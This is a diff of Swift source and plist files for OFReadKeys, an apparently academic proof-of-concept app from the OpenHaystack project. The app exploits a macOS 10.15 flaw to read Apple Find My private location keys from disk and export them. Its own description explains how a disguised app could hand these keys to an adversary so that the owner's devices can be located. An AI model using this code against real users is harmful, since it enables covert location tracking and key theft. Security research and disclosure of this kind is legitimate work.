+                                .fill(Color(white: 7.0).opacity(0.7))
+                                .shadow(color: Color.black, radius: 10.0, x: 0, y: 0)
+                    )
+
+                })
+                .buttonStyle(PlainButtonStyle())
+
+                self.keysInfo.map { (keysInfo) in
+                    Text(keysInfo)
+                    .padding()
+                }
+
+                Spacer()
+
+            }
+
+        }
+        .frame(width: 800, height: 600)
+
+    }
+
+    var infoText: some View {
+        // swiftlint:disable line_length
+        Text("This application demonstrates an exploit in macOS 10.15.0 - 10.15.6. It reads unprotected private key files that are used to locate lost devices using Apple's Offline Finding (Find My network). The application exports these key files for a demonstrative purpose. Used in the wild, an adversary would be able to download accurate location data of") +
+        Text(" all ").bold() +
+        Text("Apple devices of the current user.\n\n") +
+        Text("To download the location reports for the exported key files, please use the OFFetchReports app. In our adversary model this app would be placed on an adversary owned Mac while the OFReadKeys might be a benign looking app installed by any user.")
+        // swiftlint:enable line_length
+    }
+
+    func readPrivateKeys() {
+
+        do {
+            let devices = try FindMyKeyExtractor.readPrivateKeys()
+            let numberOfKeys = devices.reduce(0, {$0 + $1.keys.count})
+            self.keysInfo = "Found \(numberOfKeys) key files from \(devices.count) devices."
+            self.saveExportedKeys(keys: devices)
+        } catch {
+            os_log(.error, "Could not load keys %@", error.localizedDescription)
+        }
+    }
+
+    func saveExportedKeys(keys: [FindMyDevice]) {
+        do {
+            let keysPlist = try PropertyListEncoder().encode(keys)
+            SavePanel().saveFile(file: keysPlist, fileExtension: "plist")
+        } catch {
+            os_log(.error, "Property list encoding failed %@", error.localizedDescription)
+        }
+    }
+}
+
+struct ContentView_Previews: PreviewProvider {
+    static var previews: some View {
+        ContentView()
+    }
+}
@@ -0,0 +1,223 @@
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+
+import Foundation
+import CryptoKit
+import OSLog
+
+struct FindMyKeyExtractor {
+    // swiftlint:disable identifier_name
+
+    /// This function reads the private keys of the Offline Finding Location system. They will
+    /// - Throws: Error when accessing files fails
+    /// - Returns: Devices and their respective keys
+    static func readPrivateKeys() throws -> [FindMyDevice] {
+        var devices = [FindMyDevice]()
+        os_log(.debug, "Looking for keys")
+
+        do {
+
+            // The key files have moved with macOS 10.15.4
+            let macOS10_15_3Devices = try self.readFromOldLocation()
+            devices.append(contentsOf: macOS10_15_3Devices)
+        } catch {
+            os_log(.error, "Did not find keys for 10.15.3\n%@", String(describing: error))
+        }
+
+        do {
+            // Tries to discover the new location of the keys
+            let macOS10_15_4Devices = try self.findKeyFilesInNewLocation()
+            devices.append(contentsOf: macOS10_15_4Devices)
+        } catch {
+            os_log(.error, "Did not find keys for 10.15.4\n%@", String(describing: error))
+        }
+
+        return devices
+    }
+
+    // MARK: - macOS 10.15.0 - 10.15.3
+
+    /// Reads the find my keys from the location used until macOS 10.15.3
+    /// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
+    /// - Returns: An array of find my devices including their keys
+    static func readFromOldLocation() throws -> [FindMyDevice] {
+        // Access the find my directory where the private advertisement keys are stored unencrypted
+        let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
+
+        let fm = FileManager.default
+        let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
+            .first?.appendingPathComponent(directoryPath)
+        let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
+                                                 includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+        guard folders.count > 0 else {throw FindMyError.noFoldersFound}
+
+        print("Found \(folders.count) folders")
+        var devices = [FindMyDevice]()
+
+        for folderURL in folders {
+            let keyFiles = try fm.contentsOfDirectory(at: folderURL,
+                                                      includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+            // Check if keys are available
+            print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
+            guard keyFiles.count > 0 else {continue}
+            var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
+
+            for url in keyFiles {
+                do {
+                    if url.pathExtension == "keys" {
+                        let keyPlist = try Data(contentsOf: url)
+                        let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
+                        device.keys.append(keyInfo)
+                    }
+                } catch {
+                    print("Could not load key file ", error)
+                }
+
+            }
+
+            devices.append(device)
+        }
+
+        return devices
+    }
+
+    /// Parses the key plist file used until macOS 10.15.3
+    /// - Parameter keyFile: Propery list data
+    /// - Returns: Find My private Key
+    static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
+       guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
+                                                                      options: .init(), format: nil) as? [String: Any],
+             let advertisedKey = keyDict["A"] as? Data,
+             let privateKey = keyDict["PR"] as?  Data,
+             let timeValues = keyDict["D"] as? [Double],
+             let pu = keyDict["PU"] as? Data
+       else {
+        throw FindMyError.parsingFailed
+       }
+
+        let hashedKeyDigest = SHA256.hash(data: advertisedKey)
+        let hashedKey = Data(hashedKeyDigest)
+        let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
+        let duration = timeValues[1]
+
+        return FindMyKey(advertisedKey: advertisedKey,
+                         hashedKey: hashedKey,
+                         privateKey: privateKey,
+                         startTime: time,
+                         duration: duration,
+                         pu: pu,
+                         yCoordinate: nil,
+                         fullKey: nil)
+    }
+
+    // MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
+
+    /// Find the randomized key folder which is used since macOS 10.15.4
+    /// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
+    static func findRamdomKeyFolder() -> [URL] {
+        os_log(.debug, "Searching for cached keys folder")
+        var folderURLs = [URL]()
+        let foldersPath = "/private/var/folders/"
+        let fm = FileManager.default
+
+        func recursiveSearch(from url: URL, urlArray: inout [URL]) {
+            do {
+                let randomSubfolders = try fm.contentsOfDirectory(at: url,
+                                                                  includingPropertiesForKeys: nil,
+                                                                  options: .includesDirectoriesPostOrder)
+
+                for folder in randomSubfolders {
+                    if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
+                        urlArray.append(folder.appendingPathComponent("Keys"))
+                        os_log(.debug, "Found folder at: %@", folder.path)
+                        break
+                    } else {
+                        recursiveSearch(from: folder, urlArray: &urlArray)
+                    }
+                }
+
+            } catch {
+
+            }
+
+        }
+
+        recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
+
+        return folderURLs
+
+    }
+
+    /// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
+    /// - Throws: An error if the key folder cannot be fould
+    /// - Returns: An array of devices including their keys
+    static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
+        let keysFolders = self.findRamdomKeyFolder()
+        guard keysFolders.count > 0 else {
+            throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
+        }
+
+        var devices = [FindMyDevice]()
+        for folder in keysFolders {
+            if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
+                devices.append(contentsOf: deviceKeys)
+            }
+        }
+
+        return devices
+    }
+
+    /// Load the keys fils in the passed directory
+    /// - Parameter directory: Pass a directory url to a location with key files
+    /// - Throws: An error if the keys could not be found
+    /// - Returns: An array of devices including their keys
+    static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
+        os_log(.debug, "Loading key files from %@", directory.path)
+        let fm = FileManager.default
+        let subDirectories = try fm.contentsOfDirectory(at: directory,
+                                                        includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
+
+        var devices = [FindMyDevice]()
+
+        for deviceDirectory in subDirectories {
+            do {
+                var keyFiles = [Data]()
+                let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
+                let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
+                                                             includingPropertiesForKeys: nil,
+                                                             options: .skipsHiddenFiles)
+                for keyfileURL in keyFileURLs {
+                    // Read the key files
+                    let keyFile = try Data(contentsOf: keyfileURL)
+                    if keyFile.count > 0 {
+                        keyFiles.append(keyFile)
+                    }
+                }
+
+                // Decode keys for file
+                let decoder = FindMyKeyDecoder()
+                var decodedKeys = [FindMyKey]()
+                for file in keyFiles {
+                    do {
+                        let fmKeys = try decoder.parse(keyFile: file)
+                        decodedKeys.append(contentsOf: fmKeys)
+                    } catch {
+                        os_log(.error, "Decoding keys failed %@", error.localizedDescription)
+                    }
+                }
+
+                let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
+                devices.append(device)
+            } catch {
+                os_log(.error, "Key directory not found %@", error.localizedDescription)
+            }
+        }
+
+        return devices
+    }
+
+}
@@ -0,0 +1,42 @@
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+
+import Foundation
+import Combine
+import CryptoKit
+
+struct FindMyDevice: Codable {
+    let deviceId: String
+    var keys = [FindMyKey]()
+}
+
+struct FindMyKey: Codable {
+    /// The advertising key
+    let advertisedKey: Data
+    /// Hashed advertisement key using SHA256
+    let hashedKey: Data
+    /// The private key from which the advertisement keys can be derived
+    let privateKey: Data
+    /// When this key was used to send out BLE advertisements
+    let startTime: Date?
+    /// Duration from start time how long the key has been used to send out BLE advertisements
+    let duration: Double?
+
+    // swiftlint:disable identifier_name
+    /// ?
+    let pu: Data?
+
+    /// As exported from Big Sur
+    let yCoordinate: Data?
+    /// As exported from BigSur
+    let fullKey: Data?
+}
+
+enum FindMyError: Error {
+    case noFoldersFound
+    case parsingFailed
+}
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>CFBundleDevelopmentRegion</key>
+	<string>$(DEVELOPMENT_LANGUAGE)</string>
+	<key>CFBundleExecutable</key>
+	<string>$(EXECUTABLE_NAME)</string>
+	<key>CFBundleIconFile</key>
+	<string></string>
+	<key>CFBundleIdentifier</key>
+	<string>$(PRODUCT_BUNDLE_IDENTIFIER)</string>
+	<key>CFBundleInfoDictionaryVersion</key>
+	<string>6.0</string>
+	<key>CFBundleName</key>
+	<string>$(PRODUCT_NAME)</string>
+	<key>CFBundlePackageType</key>
+	<string>$(PRODUCT_BUNDLE_PACKAGE_TYPE)</string>
+	<key>CFBundleShortVersionString</key>
+	<string>1.0</string>
+	<key>CFBundleVersion</key>
+	<string>1</string>
+	<key>LSMinimumSystemVersion</key>
+	<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
+	<key>NSHumanReadableCopyright</key>
+	<string>Copyright © 2020 SEEMOO - TU Darmstadt. All rights reserved.</string>
+	<key>NSLocationAlwaysAndWhenInUseUsageDescription</key>
+	<string>Just for testing</string>
+	<key>NSLocationAlwaysUsageDescription</key>
+	<string>Just for testing</string>
+	<key>NSLocationUsageDescription</key>
+	<string>Just for testing</string>
+	<key>NSLocationWhenInUseUsageDescription</key>
+	<string>Just for testing</string>
+	<key>NSMainStoryboardFile</key>
+	<string>Main</string>
+	<key>NSPrincipalClass</key>
+	<string>NSApplication</string>
+	<key>NSSupportsAutomaticTermination</key>
+	<true/>
+	<key>NSSupportsSuddenTermination</key>
+	<true/>
+</dict>
+</plist>
@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+	<key>com.apple.security.app-sandbox</key>
+	<false/>
+	<key>com.apple.security.cs.disable-executable-page-protection</key>
+	<true/>
+</dict>
+</plist>
@@ -0,0 +1,6 @@
+{
+  "info" : {
+    "author" : "xcode",
+    "version" : 1
+  }
+}
@@ -0,0 +1,44 @@
+//  OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
+//
+//  Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
+//  Copyright © 2021 The Open Wireless Link Project
+//
+//  SPDX-License-Identifier: AGPL-3.0-only
+
+import Foundation
+import AppKit
+
+class SavePanel: NSObject, NSOpenSavePanelDelegate {
+
+    static let shared = SavePanel()
+
+    var fileToSave: Data?
+    var fileExtension: String?
+    var panel: NSSavePanel?
+
+    func saveFile(file: Data, fileExtension: String) {
+        self.fileToSave = file
+        self.fileExtension = fileExtension
+
+        self.panel = NSSavePanel()
+        self.panel?.delegate = self
+        self.panel?.title = "Export Find My Keys"
+        self.panel?.prompt = "Export"
+        self.panel?.nameFieldLabel = "Offline Keys Plist"
+        self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
+        self.panel?.allowedFileTypes = ["plist"]
+
+        self.panel?.begin(completionHandler: { (response) in
+            if response == .OK {
+                // Save the file in a cache directory
+                let fileURL = self.panel?.url
+                try? self.fileToSave?.write(to: fileURL!)
+            }
+        })
+
+    }
+
+    func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
+        return filename
+    }
+}